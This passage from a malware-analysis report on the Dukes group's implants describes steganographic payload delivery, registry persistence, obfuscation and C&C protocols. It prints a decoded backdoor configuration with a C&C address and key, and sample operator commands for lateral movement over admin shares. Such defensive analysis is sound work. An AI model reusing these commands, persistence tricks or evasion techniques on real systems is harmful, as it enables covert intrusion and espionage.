C&C server used by PolyglotDuke redirect to domains with similar names hosting legitimate websites. This technique is probably used in order to avoid suspicion when investigating the traffic with the C&C server. For one of the C&C servers, the attackers forgot to add a TLD to the redirected domain. Examples of redirection are shown in Table 2. Table 2 Example of redirection from the C&C servers root URLs C&C server domain name Redirection target rulourialuminiu.co[.]uk rulourialuminiu.ro powerpolymerindustry[.]com powerpolymer.net ceycarb[.]com ceycarb (invalid, missing TLD) Payload decryption and execution A data blob containing encrypted data is appended to the end the downloaded file: this technique allows data to be easily included in a JPEG or PNG image download in a way that means the image remains valid. We couldn t retrieve any of the files downloaded by PolyglotDuke to confirm this hypothesis but the way the encrypted blob is added to such files in addition to their extension being .jpg or .png lead us to think that they were valid images used to look like legitimate traffic. To extract the payload from the file downloaded from the C&C server, PolyglotDuke will first decrypt the last eight bytes with RC4 using the same key as the one used for strings decryption. The first four decrypted bytes correspond the offset to the embedded blob relative to the end of the file and the last four bytes provide a value used as integrity check; that value is the same as the first four bytes at the beginning of the blob. The structure of the file is described in Figure 13. DWORD 0x1BD75010 DWORD DWORD Size 0x100 DWORD size RC4 encrypted PE Signature encrypted encrypted offset 0x1BD75010 Offset Figure 13 // Embedded blob format After obtaining the offset to the embedded blob and checking the integrity value, the size of the RC4-encrypted blob is retrieved from immediately afterward. Then, next to the encrypted blob, we find the signed SHA-1 hash of the blob. Before decrypting the blob, the hash signature is checked against an RC4-encoded public key hardcoded in the binary. The signature verification procedure is shown in Figure 14 , while the public key used to check the hash signature is shown in Figure 15. Operation Ghost The Dukes aren t back they never left Figure 14 // Decompiled hash signature verification procedure Figure 15 // Public key used to verify the hash signature This technique ensures that only a payload signed by the operators could be executed on the victim machine, since the private key used to sign the hash is needed to generate a valid signature. After having successfully checked the hash signature of the encrypted blob, it is decrypted using the same key used for the RC4-encrypted strings. The format of the decrypted blob is shown in Figure 16. DWORD 0x1BD75010 Exec type 0x1BD75010 PE Size PE Size DWORD Filename size 0x1BD75010 Filename size Filename Figure 16 // Encrypted blob format after decryption Notice that the same delimiter value is used and checked at various positions of the blob (in the example in Figure 16 it is 0x1BD75010). Two of the bytes between the first two delimiters define the action to be taken with the decrypted blob. The value immediately following the second delimiter is the size of the data, being either a PE or an encrypted configuration, followed by the data itself followed by a third delimiter, the size of the subsequent filename, and finally the filename itself. The correct extension (.dll or .exe) will be appended to the filename of the PE to be written, depending on the executable type. The list of valid combinations and their respective behaviors is shown on Table 3. Operation Ghost Table 3 The Dukes aren t back they never left List of execution type combination and their corresponding behavior exec type 1 exec type 2 behavior write the executable to disk and launch it using CreateProcess write the DLL to disk and launch it using rundll32.exe write the DLL to disk and load it using LoadLibraryW write the encrypted JSON config to the registry, updating the list of public pages to parse for encoded C&C addresses 4.3 RegDuke: a first-stage implant RegDuke is a first-stage implant that is apparently used only when attackers lose control of the other implants on the same machine. Its purpose is to stay undetected as long as possible to help make sure the operators never lose complete control of any compromised machine. It is composed of a loader and a payload, the latter being stored encrypted on the disk. Both components are written in .NET. RegDuke persists by using a WMI consumer named MicrosoftOfficeUpdates. It is launched every time a process named WINWORD.EXE is started. Our analysis is based on the sample with SHA-1 0A5A7DD4AD0F2E50F3577F8D43A4C55DDC1D80CF. The loader Between August 2017 and June 2019, we have seen four different main versions of the loader. The first version was not obfuscated and had the encryption key hardcoded in the code. Later versions read the encryption key from the Windows registry and use different types of obfuscation such as control-flow flattening or directly using .NET Reactor, a commercial obfuscator. Figure 17 is a sample of RegDuke obfuscated with .NET Reactor. Figure 17 // Obfuscated RegDuke sample The flow of the loader is simple. It reads the encrypted file at either a hardcoded path or at a value extracted from the Windows registry, as shown in Figure 18. Figure 18 // RegDuke. The path, password and salt are hardcoded in this example. Operation Ghost The Dukes aren t back they never left Then, it decrypts it using a password and a salt either hardcoded in the loader or stored in the Windows registry. The encryption key and the initialization vector are derived from the password and the salt using the technique described in RFC 2898, also known as PBKDF2, as shown in Figure 19. Figure 19 // Decryption of RegDuke payload In all the samples we have seen, they use only the three different registry keys listed in Table 4. It is interesting to note that attackers seem to have put some effort at selecting registry keys and values that might look legitimate. Table 4 RegDuke Windows registry keys Registry Key Value containing the directory of the payload Value containing the filename of the payload Value containing the password and the salt HKEY_LOCAL_MACHINE\SOFTWARE\Intel\ MediaSDK\Dispatch\0102 PathCPA CPAmodule Init HKEY_LOCAL_MACHINE\SOFTWARE\Intel\ MediaSDK\Dispatch\hw64-s1-1 RootPath APIModule Stack HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ MSBuild\4.0 MSBuildOverrideTasksPath DefaultLibs BinaryCache Finally, the decrypted Windows Executable is loaded using the Assembly.Load method. We only found one payload, but we cannot be certain that others are not deployed in the wild. The payload: a fileless, Dropbox-controlled backdoor The payload is a backdoor that resides in memory only, and that uses Dropbox as its C&C server. Its configuration is hardcoded in an internal class, shown in Figure 20. Our analysis is based on the sample with SHA-1 5905C55189C683BC37258AEC28E916C41948CD1C. Figure 20 // Dropbox backdoor configuration (redacted) We have seen the following clientId values being used: collection_3, collection_4, collection_6, collection_7, collection_8 and collection_99. However, other than collection_4, we were not able to determine the targets for these collections. Operation Ghost The Dukes aren t back they never left The backdoor regularly lists the Dropbox directory corresponding to its clientId and downloads PNG files from it. The downloaded PNG files are valid pictures, as you can see in Figure 21. Figure 21 // Example of two pictures downloaded from the Dropbox directory However, the attackers have used steganography to hide data in the pictures. In Figure 22, you can see the code looping over all the pixels of the image and extracting data from them. Figure 22 // Loop extracting a payload from the pixels of a downloaded picture Each pixel is encoded into 24 bits: 8 for red, 8 for green and 8 for blue. The developers use a technique called Least Significant Bit to store 8 bits of data in each pixel, as shown in Figure 23. This technique has been used previously by other malware such as Gozi [25]. They extract two bits from the red value, three from the green and three from the blue. Green Blue Figure 23 // The least significant bits of each color of each pixel are extracted to recover the hidden data Operation Ghost The Dukes aren t back they never left The steganographically altered image has almost no visible difference from the original image because the two or three least significant bits have a very limited impact on the color. For the green and blue components of each pixel a maximum of 7/256, and for the red component 3/256 of a fully saturated pixel variation will occur. Figure 24 shows a blue of value 255 (on the left) and the maximum deviation from that in just the blue spectrum with a value of 248 (on the right). There is apparently no difference but, by doing that on every pixel of the image, allows the attacker to store a backdoor in a still valid PNG image. Figure 24 // Comparison between a blue of value 255 and a blue of value 248 Finally, it decrypts the extracted bytes using the AES key hardcoded in the config. The decrypted data can be: a Windows executable a Windows DLL a PowerShell script We have seen the following executables being dropped by this Dropbox backdoor: Several MiniDuke backdoors (see section 4.4) Process Explorer, a utility that is part of the SysInternals suite 4.4 MiniDuke backdoor: the second stage As highlighted in section 3.2, the most recent versions of the MiniDuke backdoor have a lot of code similarities with earlier versions, such as the sample with SHA-1 of 86EC70C27E5346700714DBAE2F10E168A08210E4, described by Kaspersky researchers in 2014 [21]. Our analysis is based on the sample with SHA-1 B05CABA461000C6EBD8B237F318577E9BCCD6047, compiled on August 17, 2018. MiniDuke acts as a second-stage backdoor, which is dropped by one of the two first-stage components described in the sections above. The most recent samples we are aware of were compiled in June 2019 and show no major changes, except the C&C domain and the use of an invalid (likely transplanted) digital signature, as shown in Figure 25. This might be an attempt to bypass some security products. Figure 25 // Invalid digital signature added to the backdoor Operation Ghost The Dukes aren t back they never left The backdoor is still written in pure x86 assembly but its size increased a lot from 20 KB to 200+ KB. This is due to the addition of obfuscation, mainly control-flow flattening [26], as shown in Figure 26. This is a common obfuscation technique that makes it difficult to read the code because every function is split in a switch/case inside a loop. Figure 26 // Control flow flattening used to obfuscate the MiniDuke backdoor Some of the Windows API functions are resolved dynamically. The backdoor uses a simple hash function to obfuscate the name of the function it tries to resolve. The network communication is relatively simple. It can use the GET, POST and PUT HTTP methods to contact the hardcoded C&C server. In order to blend into the legitimate traffic, the data are prepended with a JPEG header. The resulting images are not valid, but it is very unlikely that anybody will check the validity of all pictures in the network traffic. Figure 27 is an example of a POST request to the C&C server. As the server was down at the time of capture, we were not able to receive a reply, but we believe the reply also contains a JPEG header, as the malware ignores the first bytes of the reply. Figure 27 // Post request to the C&C server that looks like a regular jpeg file upload In addition to the HTTP protocol, the malware is able to send and receive data over a named pipe. This feature typically allows it to reach machines on the local network that don t have internet access. One compromised machine, with internet access, will forward commands to other compromised machines through the named pipe. A similar feature to the named pipe is the HTTP proxy. The malware will listen on a first socket, either on the default port 8080 or on a port specified by the operators. It will also open a second socket with the C&C server. It waits for connections on the first socket and when one is established, it proxies data between the two sockets. Thus, a machine without internet access, or with a firewall that blocks connections to the attackers domain, might still be able to reach the C&C through the proxy machine. Operation Ghost The Dukes aren t back they never left Finally, this malware implements thirty-eight different backdoor functions such as: Uploading or downloading files Creating processes Getting system information (hostname, ID, pipename, HTTP method) Getting the list of local drives and their type (unk, nrt, rmv, fix, net, cdr, ram, und) Reading and writing in the named pipe Starting and stopping the proxy feature 4.5 FatDuke: the third stage FatDuke is the current flagship backdoor of the group and is only deployed on the most interesting machines. It is generally dropped by the MiniDuke backdoor, but we also have seen the operators dropping FatDuke using lateral movement tools such as PsExec. The operators regularly repack this malware in order to evade detections. The most recent sample of FatDuke we have seen was compiled on May 24, 2019. We have seen them trying to regain control of a machine multiple times in a few days, each time with a different sample. Their packer, described in a later section, adds a lot of code, leading to large binaries. While the effective code should not be larger than 1MB, we have seen one sample weighing in at 13MB, hence our name for this backdoor component: FatDuke. In this section, we will use the sample with SHA-1 DB19171B239EF6DE8E83B2926EADC652E74A5AFA for our analysis. Installation and persistence During our investigation, we were not able to find a dropper for FatDuke. We believe the operators simply install the backdoor and establish persistence using the standard commands of an earlier stage backdoor. We also noted that FatDuke generally replaced the second-stage binary, reusing the persistence mechanism already in place. The persistence we have seen is very standard. They use the registry key HKLM\SOFTWARE\Microsoft\ Windows\CurrentVersion\Run and creatd a new value named Canon Gear and value C:\Program Files\Canon\Network ScanGear\Canocpc.exe. This launches the backdoor each time a user logs in. Configuration FatDuke has a hardcoded configuration embedded in the executable s resources, as shown in Figure 28. Figure 28 // FatDuke configuration data in the PE resources Operation Ghost The Dukes aren t back they never left The configuration data is a JSON object encoded in base64. Once decoded, it reveals much interesting information, as shown in Figure 29. "config_id": "145", "encoding_mode": "Base64", "encryption_mode": "Aes256", "key": "62DA45930238A4A1149E76658A35C4A70CE7E0CDF7529C96499FB5F27AA647B3", "pivoting_ip": "", "pivoting_pipe": "lippstdt", "pivoting_login": "Administrator", "pivoting_password": "", "server_address": "https://ministernetwork[.]org:443/Main/", "ignore_certificate_errors": "0", "connection_types": "WinInet,WinHttp,UrlMon", "data_container": "Cookie", "rsa_public_key": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0NCk1JSUJJakFOQmdrcWhraUc5dz BCQVFFRkFBT0NBUThBTUlJQkNnS0NBUUVBcWZBWHVlRTdiK2pUUFhWb3MxVSsNCnRkcWV5WlR2dFNWYXRvZkt 1QWZUNm5wVmh3cHBieFRDcjdSN1Y2VXdwK2tPK1pTbWRWTTZ4b3VzOTAyTDVIV3UNCldXK1dOemsraDVJUzFP dWdkeUJXQWs4bDRmWVRoMVBNbXgwTzQvZU9JY0g4c1NUNXZPOTB3SEY0T3pXQ1I4b3gNCkxqVGlkTTdpVXQ5Y kptVjRkNDZVa2tpL3ZDYXZFU0p5b0l2eU9WS2M0ZjNRczQ2TW1uSjRnd1RoaE4rQkt2dmgNCnphbXJOZ3kzNk 9QY0IxOFRweGd3OW8vVmpMbTJ2RTB2c3dzM3hqOXlGTERTVFplRUFBY0V6c1NvckRQOFdOWm0NCktyMXVNUFh vL3k2by9VOUptM3VPdUFFdG50cEpRQW5SZmFpZGZpbHBVUHF6OXZxWGpiOCtJSXVtWVQvRUVwcmMNCkd3SURB UUFCDQotLS0tLUVORCBQVUJMSUMgS0VZLS0tLS0NCg==", "request_min_timeout_s": "1", "request_max_timeout_s": "60", "php_aliases": "about.php,list.php,contacts.php,people.php,forum.php,index.php, welcome.php", "cookies": "param,location,id_cookie,info,session_id", "service_cookie_1": "GMAIL_RTT", "service_cookie_2": "SAPISID", "service_cookie_3": "APISID", "activity_scheduler": "Mon,Tue,Wed,Thu,Fri;0:00-23:59", "grab_ua_by_probing": "0" Figure 29 // FatDuke configuration example Included in the information contained in the config, we can see: The AES key used to encrypt/decrypt the network traffic The pipe name and the credentials used to contact another machine on the local network The C&C URL The time of day when the backdoor is enabled for attacker access Cookies that the malware can fetch in the browser s cookie directory. They are related to cookies used by Google services such as YouTube or Gmail The operator has the possibility to fetch the configuration from the computer along with usual computer information like username, Windows version, computer name, build, etc. Finally, it does not seem possible to update this configuration without dropping a new version of the malware. Backdoor and network FatDuke can be controlled remotely by the attackers using a custom C&C protocol over HTTP or using named pipes on the local network. HTTP communications and backdoor commands In order to blend into the network traffic, FatDuke tries to mimic the user s traffic by using the same User-Agent as the browser installed on the system. It implements two different techniques to gather this value. Operation Ghost The Dukes aren t back they never left First, it can probe the User-Agent by making an HTTP request on a socket it has just created. 1. It creates a socket listening on localhost:80 2. It accepts any connection 3. It calls ShellExecuteW with open and http://localhost: as argument. This will open the default browser on the URL localhost. 4. The socket replies with a hardcoded HTTP reply: HTTP/1.1 200 OK Server: Apache/2.2.14 (Win32) Content-Type: text/html Connection: close This simple JavaScript code will directly close the browser. The window pops up only for a fraction of second but the user also loses focus of the currently active window. 5. In order to extract the User-Agent, FatDuke parses the HTTP request sent by the browser to its socket. If the previous method did not work, it can check the default browser in the registry key HKCU\Software\ Classes\http\shell\open\command. It then selects one of the hardcoded User-Agent strings accordingly, as shown in Table 5. Hardcoded User-Agent Table 5 Default Browser Selected User-Agent Chrome Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36 Firefox Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0 Internet Explorer Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0) Opera Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.35 Safari/537.36 OPR/24.0.1558.21 Safari Mozilla/5.0 (Windows; Windows NT 6.1) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2 Next, FatDuke contacts the C&C server, specified in the config, and uses one of the PHP scripts specified in the php_aliases field of the config. It is interesting to note that these filenames are related to the theme of the C&C server domain. For example, they registered the domain westmedicalgroup[.]net, and the aliases list contains filenames such as doctors.php or diagnostics.php. Figure 30 is a summary of the C&C protocol. FatDuke GET Request to the C&C Use a regex to extract a specific image URL HTML page Image URL Downloads the PNG image Malicious action Execute the command { JSON } Decode and decrypt Backdoor command in JSON Figure 30 // FatDuke C&C protocol Image URL Operation Ghost The Dukes aren t back they never left The requests sent to the C&C server are crafted to look like typical GET requests and once again are related to the script name. For example, the request below uses parameters that you might expect to find on a forum s website. /homepage/forum.php?newsid=&article=&user= e40a4bc603a74403979716c932f0523a&revision=3&fromcache=0 However, while some fields are randomly generated strings, article and user could be used by the operator to pinpoint the victim. The first keyword, article, is an identifier a SHA-256 hash of the volume identifier concatenated with MAC addresses found on the target computer. The other keyword, user, probably flags the general configuration that comes with the malware. This value is located in the PE resource section, right before the encoded configuration mentioned in section 4.5. The reply is an HTML page, with the HTML content copied from a legitimate website such as the BBC. However, if the C&C server wants to send a command to the malware, it will add an additional HTML img tag to the page, as shown in Figure 31. Figure 31 // Additional image tag sent by FatDuke C&C Once it receives this HTML page, the malware uses the two following regexes: ]*> ]*> These regexes extract the src attribute value the URI of the image. If it finds an image, the malware will make another GET request to http(s):////?imageid=. In our example, it will make a request to http:///about/bottom.php?imageid=32d7 bcf505ca1af4a38762ff650968ac9cab2ce305cdbf8331d30b.png. This will return a file, such as that shown in Figure 32. These files masquerade as PNG images in the GET request, but are not valid images. They contain a header of 0x37 bytes, matching one hardcoded in the malware, and a chunk of encrypted data that is base64 encoded. To further the PNG subterfuge, the header contains an incomplete, misplaced and corrupted PNG header, which may be sufficient to avert concern under cursory examination. Figure 32 // C&C response including most of a valid PNG header and an encrypted command for FatDuke Operation Ghost The Dukes aren t back they never left The malware then decrypts this data using AES-256 in ECB mode, with the key hardcoded in the config. The result is a command in JSON. Figure 33 shows six real command examples. {"commandBody":"14 C:\\Users\\\\AppData\\ Local","size":0,"iscmd":true} {"commandBody":"5 -parsing=raw -type=exe net. exe use \\\\WORKPC\\IPC$ \\"\\" / USER:Administrator","size":0,"iscmd":true} {"commandBody":"5 -parsing=raw -type=exe schtasks.exe /Query /FO TABLE","size":0,"iscmd":true} {"commandBody":"14 C:\\Users\\Administrator","size":0,"iscmd":true} {"commandBody":"14 \\\\\\C$\\Users\\User\\ Desktop","size":0,"iscmd":true} {"commandBody":"7","size":0,"iscmd":true} Figure 33 // Example of commands sent to FatDuke These JSON objects contain a command identifier and the command arguments. Table 6 shows the commands implemented by FatDuke. Table 6 FatDuke backdoor commands Description Description Read or write an environment variable Copy a file or a directory Load a DLL Remove a directory Unload a DLL Remove a file Execute rundll32 Compute the MD5 of a file Execute a command, a wscript, a PowerShell command or create a process cat a file Execute a command, a wscript, a PowerShell command or create a process, using a pipe to get the result Exfiltrate a file Kill a process Write a file Kill itself Write random data to a file (secure deletion) Uninstall (secure delete its DLL and exit the process) System information Turn on or off the random interval Date Set User-Agent to default value List running processes Enable debug log Return the list of disks with their type and available space Return the working directory Return malware information Change the working directory Listen to a pipe List directory Stop listening to a pipe Create directory List open pipes Move a file or a directory The C&C servers used for FatDuke do not seem to be compromised websites. In order to look legitimate, they register variants of existing domains and redirect the homepage of their C&C server to the homepage of the real domain. As mentioned before, this technique is also used for PolyglotDuke C&C servers. For example, they registered the domain fairfieldsch[.]org and make it redirect to fairfields.northants.sch.uk, the website of a school in the UK. We also noticed that they used several C&C servers per targeted organization, but these servers apparently t overlap across the victims, ensuring tight compartmentalization. Operation Ghost The Dukes aren t back they never left Local network pivoting What if the compromised machine doesn t have access, or has restricted access, to the Internet? The developers implemented a functionality they called PivotingPipeTransport. It allows the malware to communicate with other malware instances using pipes. In order to connect to a remote machine, it first calls WNetAddConnection2. This function takes the following arguments: lpNetResource: the remote machine lpPassword: the remote password lpUserName: the remote username These pieces of information are available in the malware configuration under the names: pivoting_ip pivoting_login pivoting_password Then, it will create a pipe using the name specified in the pivoting_pipe configuration field and use it to communicate with the other malware instance. Thus, this functionality allows attackers to bypass network restrictions that may be enforced on critical systems. However, they need to steal the credentials of the remote machine first or use organization-level administrative credentials. Obfuscation The FatDuke binaries are highly obfuscated. They use three different techniques in order to slow down analysis. First, they use string stacking for all important strings; this consists of building strings dynamically by pushing each character separately on the stack, rather than using strings from the .data section. They also add some basic operations to the stacking in order to prevent the extraction without emulating the code. Figure 34 shows such an example where the ASCII value of each letter is multiplied with a hardcoded value of 1. Figure 34 // FatDuke obfuscation String stacking Second, they also add opaque predicates in most of the functions. Opaque predicates are conditions that are always True or always False. They are not part of the code's semantic, but the code is harder to read. Figure 35 is an example of opaque predicates we found in FatDuke. Whatever the result of rand() is, v11 is always equal to 15. Thus, the condition is always False. Figure 35 // FatDuke obfuscation Opaque predicate Operation Ghost The Dukes aren t back they never left Third, they add junk code and junk strings. Unlike opaque predicates, the code will be executed but it is useless and again is not part of the semantics of the program. For example, the function in Figure 36 and in Figure 37 returns always the same value, which is never used. Figure 36 // FatDuke obfuscation Junk function call Figure 37 // FatDuke obfuscation Junk function return value The binary contains a huge amount of strings from different projects like Chromium. It might be an attempt to bypass security products, similar to what was posted by SkyLight [27]. These strings are used to fill very large structures (about 1000 fields), probably to hide the few interesting fields used by the malware, as shown in Figure 38. Figure 38 // FatDuke obfuscation Chromium strings We are not sure whether Dukes developers used a commercial obfuscation tool or if they developed their own. However, given their level of sophistication, it would not be surprising if they rely on their own obfuscator. Operation Ghost The Dukes aren t back they never left 4.6 LiteDuke: the former third stage LiteDuke is a third-stage backdoor that was mainly used in 2014-2015. It is not directly linked to Operation Ghost, but we found it on some machines compromised by MiniDuke. We chose to document it mainly because we did not find it described elsewhere. We have dubbed it LiteDuke because it uses SQLite to store information such as its configuration. Our analysis is based on the sample with SHA-1 AF2B46D4371CE632E2669FEA1959EE8AF4EC39CE. Link with the Dukes LiteDuke uses the same dropper as PolyglotDuke. It also uses the same encryption scheme, shown in Figure 7 in section 3.2, to obfuscate its strings. As we haven t seen any other threat actor using the same code, we are confident that LiteDuke was indeed part of the Dukes arsenal. Packer LiteDuke is packed using several layers of encryption and steganography. 1. In the PE resources section, the initial dropper has a GIF picture. The picture is not valid but contains a second dropper. 2. This second executable has a BMP picture in its resources. It uses steganography to hide bytes in the image. Once decoded and decrypted, we have the loader. 3. The loader will decrypt the backdoor code and load it into memory. Figure 39 summarizes the unpacking process from the initial dropper to the backdoor code. Dropper 1 Dropper 2 Extract from the resources section Decrypt and execute GIF picture (invalid) Loader Extract from the resources section Decode, decrypt, drop and execute Decrypt and load into memory BMP picture (with data hidden using steganography) Backdoor Figure 39 // LiteDuke unpacking process Side Story We also noticed that the attackers left a curious artefact in an older sample (the dropper with SHA-1 7994714FFDD6411A6D64A7A6371DB9C529E70C37) as shown in Figure 40. Figure 40 // Curious phone number left by the attackers This is the phone number of a mental health specialist in a small city in the state of Indiana in the United States. Operation Ghost The Dukes aren t back they never left Backdoor The backdoor code only exists in memory as only the loader is written to disk. The loader persists using a Windows shortcut (.lnk file) that is registered in the traditional CurrentVersion\Run registry key. According to the PE header, the developers did not make use of Visual Studio to compile this backdoor. Figure 41 shows that they used the linker FASM 1.70. FASM (Flat Assembler) is an assembler that can produce Windows or Linux binaries. It reminds us of the MiniDuke backdoor, developed directly in x86 assembly. Figure 41 // Assembler used by the developer (screenshot of DIE analysis) The backdoor DLL exports seven functions that have relatively explicit names (CC being Crypto Container): SendBin LoadFromCC SaveToCC GetDBHandle GetCCFieldSize GetCCFieldLn DllEntryPoint Interestingly, the malware apparently attempts to bypass Kaspersky security products by checking if the registry key HKCU\Software\KasperskyLab exists and if so, it waits 30 seconds before executing any additional code. We do not know whether this really bypasses any Kaspersky security products. The Crypto Container is an SQLite database, stored on the disk in the same directory as the loader, and uses SQLCipher. This SQLite extension encrypts the database using AES-256. The encryption key is the MD5 hash of machine-specific values (such as CPUID, the account name, the BIOS version and the processor name) to prevent decryption if, for example, the database ends up in a public malware repository. The key is not stored anywhere but is re-generated at each execution. The database contains three different tables, which are created using the following commands: CREATE TABLE modules (uid INTEGER PRIMARY KEY, version char(255), code blob, config blob, type char(10), md5sum char(32), autorun (INTEGER); CREATE TABLE objects (uid INTEGER PRIMARY KEY AUTOINCREMENT, name CHAR(255), body blob, type char(10), md5sum char(32)); CREATE TABLE config (uid INTEGER PRIMARY KEY AUTOINCREMENT, agent_id CHAR(128), remote_host CHAR(256), remote_port integer, remote_path char(1024), update_interval integer, server_key CHAR(32), rcv_header CHAR(64)); The configuration default values are hardcoded in the binary. This SQLite table allows the malware operators to update these parameters easily. Similarly, the modules, which are plug-ins for the backdoor, are stored in the database. Since the database is encrypted, the modules never touch the disk in plaintext and will only be loaded into memory. Unfortunately, we have not yet been able to find any of the plug-ins used by LiteDuke. One artefact of the development method is the implementation of the backdoor commands. Usually, a backdoor will have a big switch statement to check the command sent by the C&C server against the list of commands implemented in the malware. In the case of LiteDuke, it is a succession of loops: one loop per implemented command, as shown in Figure 42. Operation Ghost The Dukes aren t back they never left Figure 42 // Multiple while loops instead of a backdoor switch case Each of the 41 different commands has between three and six possible command IDs. The program will loop successively on the list until the ID in the list matches the ID provided by the operator. The full list is available in Figure 43. Figure 43 // List of LiteDuke command IDs Given the large number of different commands, we won t list them all. Basically, the backdoor can: Upload or download files Securely delete a file by first writing random data (from a linear congruential generator) to the file Update the database (config, modules and objects) Create a process Get system information (CPUID, BIOS version, account name, etc.) Terminate itself The network part of the backdoor is relatively simple. It uses GET requests to contact either the hardcoded C&C URL or the one stored in the database. Figure 44 shows the domain, resources and parameters used by LiteDuke. Operation Ghost The Dukes aren t back they never left Figure 44 // LiteDuke C&C domain, resources and parameters Among the different samples we analyzed, the C&C domains are different, but they always use a script named rcv_get.php. We believe that the C&C domains are compromised servers. In order to blend into the network traffic, and similar to FatDuke, the malware checks the default browser and chooses its User-Agent request header accordingly, as shown in Table 7. It can also get the proxy configuration from Firefox, in the configuration file prej.js, or from Opera, in the operaprefs.ini file. This information is then used when establishing a connection to the C&C server. Table 7 User-Agent strings used by LiteDuke Default Browser User-Agent Internet Explorer Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729) Firefox Mozilla/5.0 (Windows NT 6.2; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0 Chrome Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13(KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Safari Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 Opera Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.7.62 Version/11.01 As one can see, some of these User-Agents are custom and they all refer to very old browsers, most of them released in 2011. It is also way less stealthy than with FatDuke s sniffing of the real User-Agent used by the local browser. This reinforces our hypothesis that this backdoor was used many years ago and is no longer deployed in the wild. CONCLUSION Operation Ghost shows that the Dukes never stopped their espionage activities. They were in the spotlight after the breach of the Democratic National Committee during the 2016 US presidential elections. However, they then recovered from that media attention and rebuilt most of their toolset. Using these new tools and previously used techniques, such as leveraging Twitter and steganography, they were able to breach Foreign Affairs Ministries of several European governments. This campaign also shows that APT threat actors going dark for several years does not mean they have stopped spying. They might pause for a while and re-appear in another form, but they still need to spy to fulfill their mandates. To help defenders better protect their networks, we will continue to monitor the Dukes developments. Indicators of Compromise can also be found on GitHub. For any inquiries, or to make sample submissions related to the subject, contact us at: threatintel@eset.com. Operation Ghost The Dukes aren t back they never left BIBLIOGRAPHY D. Alperovitch, Bears in the Midst: Intrusion into the Democratic National Committee, 15 06 2016. [Online]. Available: https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/. Department of Homeland Security, Enhanced Analysis of GRIZZLY STEPPE Activity, 10 02 2017. [Online]. Available: https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_ STEPPE_Activity.pdf. GReAT, The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor, 27 02 2013. [Online]. Available: https://securelist.com/the-miniduke-mystery-pdf-0-day-government-spy-assembler-0x29a-micro-backdoor/31112/. A. Lehti THE DUKES: 7 years of Russian cyberespionage, 17 09 2015. [Online]. Available: https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf. S. R. Skjeggestad, H. Stolt-Nielsen, L. Tomter, E. Omland and A. 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Operation Ghost The Dukes aren t back they never left ESET Research, En Route with Sednit, 10 2016. [Online]. Available: https://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-full.pdf. GReAT, Miniduke is back: Nemesis Gemina and the Botgen Studio, 03 07 2014. [Online]. Available: https://securelist.com/miniduke-is-back-nemesis-gemina-and-the-botgen-studio/64107/. The Unicode Consortium, Katakana Range: 30A0 30FF, [Online]. Available: https://www.unicode.org/charts/PDF/U30A0.pdf. The Unicode Consortium, Cherokee Range: 13A0-13FF, [Online]. Available: https://unicode.org/charts/PDF/U13A0.pdf. The Unicode Consortium, Kangxi Radicals Range: 2F00-2FDF, [Online]. Available: https://unicode.org/charts/PDF/U2F00.pdf. P.-M. Bureau and C. Dietrich, Hiding in Plain Sight, 2015. [Online]. Available: https://www.blackhat.com/docs/ eu-15/materials/eu-15-Bureau-Hiding-In-Plain-Sight-Advances-In-Malware-Covert-Communication-Channels.pdf. T. L and . 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Operation Ghost The Dukes aren t back they never left INDICATORS OF COMPROMISE 7.1 Hashes SHA-1 Compilation Date ESET detection name 4BA559C403FF3F5CC2571AE0961EAFF6CF0A50F6 07/07/2014 Win32/Agent.ZWH CF14AC569A63DF214128F375C12D90E535770395 07/06/2017 Win32/Agent.AAPY 539D021CD17D901539A5E1132ECAAB7164ED5DB5 07/06/2017 Win32/Agent.ZWH 0E25EE58B119DD48B7C9931879294AC3FC433F50 07/08/2017 Win64/Agent.OL D625C7CE9DC7E56A29EC9A81650280EDC6189616 19/10/2018 Win64/Agent.OL 0A5A7DD4AD0F2E50F3577F8D43A4C55DDC1D80CF 21/12/2017 MSIL/Tiny.BG F7FD63C0534D2F717FD5325D4397597C9EE4065F 10/07/2018 MSIL/Tiny.BG 194D8E2AE4C723CE5FE11C4D9CFEFBBA32DCF766 29/08/2018 MSIL/Agent.TGC 64D6C11FFF2C2AADAACEE01B294AFCC751316176 01/10/2018 MSIL/Agent.SVP 6ACC0B1230303F8CF46152697D3036D69EA5A849 25/10/2018 MSIL/Agent.SXO 170BE45669026F3C1FC5BA2D48817DBF950DA3F6 01/12/2018 MSIL/Agent.SYC 5905C55189C683BC37258AEC28E916C41948CD1C 29/08/2018 MSIL/Agent.CAW B05CABA461000C6EBD8B237F318577E9BCCD6047 17/08/2018 Win32/Agent.TSG 718C2CE6170D6CA505297B41DE072D8D3B873456 24/06/2019 Win32/Agent.TUF A88DA2DD033775F7ABC8D6FB3AD5DD48EFBEADE1 03/05/2017 Win32/Agent.TSH DB19171B239EF6DE8E83B2926EADC652E74A5AFA 22/05/2019 Win32/Agent.TSH FatDuke Loader 9E96B00E9F7EB94A944269108B9E02D97142EEDC 19/04/2019 Win32/Agent.AAPY LiteDuke AF2B46D4371CE632E2669FEA1959EE8AF4EC39CE 02/10/2014 Win32/Agent.AART Component PolyglotDuke RegDuke Loader RegDuke Backdoor MiniDuke FatDuke 7.2 Network Domains Component 